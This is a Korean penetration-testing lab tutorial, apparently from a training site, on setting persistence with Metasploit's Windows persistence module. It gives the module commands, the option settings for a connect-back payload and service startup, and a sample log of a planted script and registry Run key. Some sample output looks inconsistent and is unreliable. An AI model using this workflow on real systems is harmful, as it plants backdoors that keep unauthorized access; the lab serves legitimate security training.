Metasploit 모듈로 지속성 설정하기

Kali LinuxBeginner
지금 연습하기

소개

이 랩에서는 Metasploit Framework 를 사용하여 대상 시스템에 지속성 (persistence) 을 설정하는 기본적인 프로세스를 학습합니다. 지속성은 침투 테스트에서 중요한 단계로, 공격자가 시스템이 재부팅되거나 초기 연결이 끊어진 후에도 손상된 시스템에 대한 액세스를 유지할 수 있도록 합니다. 특정 Metasploit 모듈을 사용하여 자동으로 사용자의 컴퓨터에 다시 연결되는 백도어를 만드는 방법을 살펴볼 것입니다. 이 랩은 통제된 시뮬레이션 환경에서의 명령어 및 개념에 중점을 둡니다.

대상 시스템에서 권한 있는 Meterpreter 세션 확보

이 단계에서는 Metasploit Framework 를 시작하고 작업의 맥락을 이해합니다. 실제 침투 테스트에서 지속성 (persistence) 설정은 후속 공격 (post-exploitation) 활동입니다. 이는 대상 시스템에 대한 초기 액세스를 이미 확보했으며, 일반적으로 Meterpreter 세션 형태로 진행됨을 의미합니다.

이 랩에서는 지속성 설정을 위한 명령어 및 절차에 중점을 둘 것입니다. 이미 대상 시스템을 성공적으로 침해했으며 백그라운드에서 Meterpreter 세션이 실행 중이라고 가정할 것입니다.

먼저 터미널에서 Metasploit 콘솔을 실행합니다. -q 플래그는 시작 배너를 표시하지 않고 조용하게 시작합니다.

msfconsole -q

이제 명령 프롬프트가 msf6 >로 변경되어 Metasploit Framework 내부에 있음을 나타냅니다.

활성 세션이 있는 실제 시나리오에서는 sessions 명령어로 해당 세션을 나열할 수 있습니다. 세션과 상호 작용하려면 sessions -i <session_id>를 사용합니다. Meterpreter 세션 내에서 background 명령어를 사용하여 msf6 > 프롬프트로 돌아가 후속 공격 모듈을 사용할 수 있습니다. 이미 세션을 백그라운드 처리했다고 가정하고 진행하겠습니다.

지속성 후속 공격 모듈 검색

이 단계에서는 지속성 설정을 도울 수 있는 Metasploit 내의 모듈을 검색합니다. Metasploit 에는 키워드, 유형, 플랫폼 등을 기반으로 모듈을 찾을 수 있는 강력한 검색 기능이 있습니다.

"persistence"와 관련된 모듈을 찾고 있습니다. 관련 모듈을 찾기 위해 Metasploit 콘솔 내에서 search 명령어를 사용해 보겠습니다.

search persistence

이 명령어는 키워드와 일치하는 익스플로잇 (exploits), 보조 (auxiliary), 후속 공격 (post-exploitation) 모듈 목록을 반환합니다. 출력에는 모듈의 이름, 공개 날짜, 등급 및 간략한 설명이 표시됩니다.

출력은 다음과 유사할 것입니다 (일부 세부 정보는 다를 수 있습니다):

Matching Modules
================

   ##   Name                                           Disclosure Date  Rank       Check  Description
   -   ----                                           ---------------  ----       -----  -----------
   0   auxiliary/admin/http/dlink_dir_600_http_login    2013-02-01       normal     No     D-Link DIR-600 'dlink_user' Persistence
   1   exploit/linux/local/cron_persistence             2020-01-28       excellent  Yes    Cron Persistence
   2   exploit/osx/local/persistence                    2015-05-11       excellent  Yes    OS X Persistent Launchd Job
   3   exploit/windows/local/persistence                2012-08-20       excellent  No     Windows Persistent Service Installer
   4   exploit/windows/local/persistence_service        2014-09-11       excellent  Yes    Persistent Service Installer
   5   post/android/manage/remove_persistence           2018-09-20       normal     No     Remove persistence from device
   6   post/android/manage/set_persistence              2018-09-20       normal     No     Set persistence on device
   7   post/multi/manage/shell_to_meterpreter                          normal     No     Shell to Meterpreter Upgrade
   8   post/osx/manage/persistence                      2018-09-20       normal     No     Install persistence on OSX
   9   post/windows/manage/persistence_exe              2013-03-06       normal     No     Windows Manage Persistent EXE Payload
   10  post/windows/manage/ssh_inject                   2012-11-20       normal     No     Windows Manage SSH User Key Injection

보시다시피 여러 옵션이 있습니다. 이 랩에서는 Windows 시스템에 지속적인 서비스를 만드는 데 안정적이고 일반적으로 사용되는 모듈인 exploit/windows/local/persistence에 중점을 둘 것입니다.

exploit/windows/local/persistence 모듈 사용

이 단계에서는 이전에 식별한 지속성 모듈을 선택합니다. Metasploit 의 use 명령은 특정 모듈을 현재 컨텍스트로 로드하여 구성하고 실행할 수 있게 합니다.

모듈을 선택하려면 전체 경로를 입력하거나 검색 결과의 번호 (예: use 3) 를 사용할 수 있습니다. 번호는 변경될 수 있으므로 전체 경로를 사용하는 것이 일반적으로 더 안정적입니다.

exploit/windows/local/persistence 모듈을 로드해 보겠습니다.

use exploit/windows/local/persistence

이 명령을 실행하면 현재 로드된 모듈을 반영하도록 프롬프트가 변경됩니다: msf6 exploit(windows/local/persistence) >.

이제 모듈이 로드되었으므로 구성해야 할 사항을 확인하기 위해 show options 명령을 사용하여 옵션을 볼 수 있습니다.

show options

그러면 이 모듈에 대해 설정할 수 있는 모든 매개변수, 현재 값 및 필수 여부를 보여주는 테이블이 표시됩니다.

Module options (exploit/windows/local/persistence):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   DELAY    10               yes       Delay in seconds for persistent payload to connect back
   LHOST                     no        The local listener IP address
   LPORT    4444             no        The local listener port
   REX_PORT 0                no        The port to connect to on the remote host
   SESSION                   yes       The session to run this module on
   STARTUP  USER             yes       Startup type for the persistent payload. (Accepted: USER, SYSTEM, SERVICE)
   ...

SESSION이 필수 옵션임을 주목하십시오. 여기에 침해된 Meterpreter 세션의 ID 를 지정합니다.

자동 시작 및 페이로드 옵션 구성

이 단계에서는 지속성 모듈에 필요한 옵션을 구성합니다. show options 출력에 따라 지속성 메커니즘이 어떻게 작동할지 정의하는 여러 매개변수를 설정해야 합니다. set 명령은 이러한 옵션에 값을 할당하는 데 사용됩니다.

먼저 세션을 지정합니다. 실제 시나리오에서는 활성 세션의 ID(예: set SESSION 1) 를 사용합니다. 이 랩에서는 플레이스홀더로 1로 설정합니다.

set SESSION 1

다음으로 지속성 메커니즘이 실행할 페이로드를 구성해야 합니다. 이 페이로드는 우리 기계로 다시 연결됩니다. LHOST(우리 IP 주소) 와 LPORT(우리가 수신 대기할 포트) 를 설정해야 합니다. LHOST를 로컬 루프백 주소 127.0.0.1로, LPORT4445로 설정하여 다른 잠재적 핸들러와의 충돌을 피합니다.

set LHOST 127.0.0.1
set LPORT 4445

STARTUP 옵션은 대상 기계에서 페이로드가 시작되는 방식을 결정합니다. 옵션은 USER(사용자가 로그인할 때 실행), SYSTEM(시스템 부팅 시 실행) 또는 SERVICE(시스템 서비스로 실행) 입니다. 더 높은 권한과 은밀성을 위해 SERVICE를 선택합니다.

set STARTUP SERVICE

모든 설정이 올바르게 적용되었는지 확인하기 위해 show options를 다시 실행할 수 있습니다. 방금 설정한 모든 값이 이제 "Current Setting" 열에 반영되어야 합니다.

모듈 실행 및 지속성 메커니즘 확인

이 마지막 단계에서는 모듈을 실행합니다. 모든 옵션이 구성되었으므로 모듈을 실행하면 지정된 세션을 통해 대상 시스템에 지속성 스크립트를 설치하려고 시도합니다. 모듈을 실행하려면 run 또는 exploit 명령을 사용하면 됩니다.

run

예상 결과: 시뮬레이션된 환경에서는 ID 1 인 활성 세션이 없기 때문에 이 명령이 실패합니다. 다음과 유사한 오류 메시지가 표시됩니다.

[-] Exploit failed: Rex::Post::Meterpreter::RequestError The session is not valid.

실제 침해된 호스트와 작업하지 않기 때문에 이 랩에서는 예상되는 동작입니다.

유효한 세션이 있는 실제 시나리오에서는 출력이 매우 다를 것입니다. 모듈이 스크립트를 업로드하고, 레지스트리를 수정하고, 지속성 메커니즘이 성공적으로 설치되었음을 확인하는 것을 보여줄 것입니다. 성공적인 실행은 다음과 같을 수 있습니다.

[*] Running module against TARGET-PC
[*] Installing persistence script...
[+] Persistence script uploaded to C:\Users\Admin\AppData\Local\Temp\abcde.vbs
[*] Creating startup registry key...
[+] Persistence registry key created at HKCU\Software\Microsoft\Windows\CurrentVersion\Run\fGhiJkL
[*] Starting the payload handler...
[+] Persistence established. The service will start on next boot.

실제 테스트에서 프로세스를 완료하려면 동일한 LHOSTLPORT(127.0.0.14445) 로 구성된 새 핸들러 (use exploit/multi/handler) 를 설정해야 합니다. 대상 기계가 재부팅되면 지속성 페이로드가 실행되어 핸들러로 다시 연결되어 새로운 Meterpreter 세션을 제공합니다.

요약

이 랩에서는 Metasploit Framework 를 사용하여 대상 시스템에 지속성을 설정하는 기본적인 프로세스를 배웠습니다. 관련 모듈을 검색하고, exploit/windows/local/persistence 모듈을 선택 및 구성하고, 해당 기능에 대해 이해하는 연습을 했습니다.

실제 대상 없이 환경을 시뮬레이션했지만, 실제 침투 테스트에서 지속적인 백도어를 만드는 데 필요한 정확한 명령과 워크플로를 배웠습니다. 이 기술은 보안 평가 중에 장기적인 액세스를 유지하는 데 중요합니다.

랩을 완료하신 것을 축하드립니다!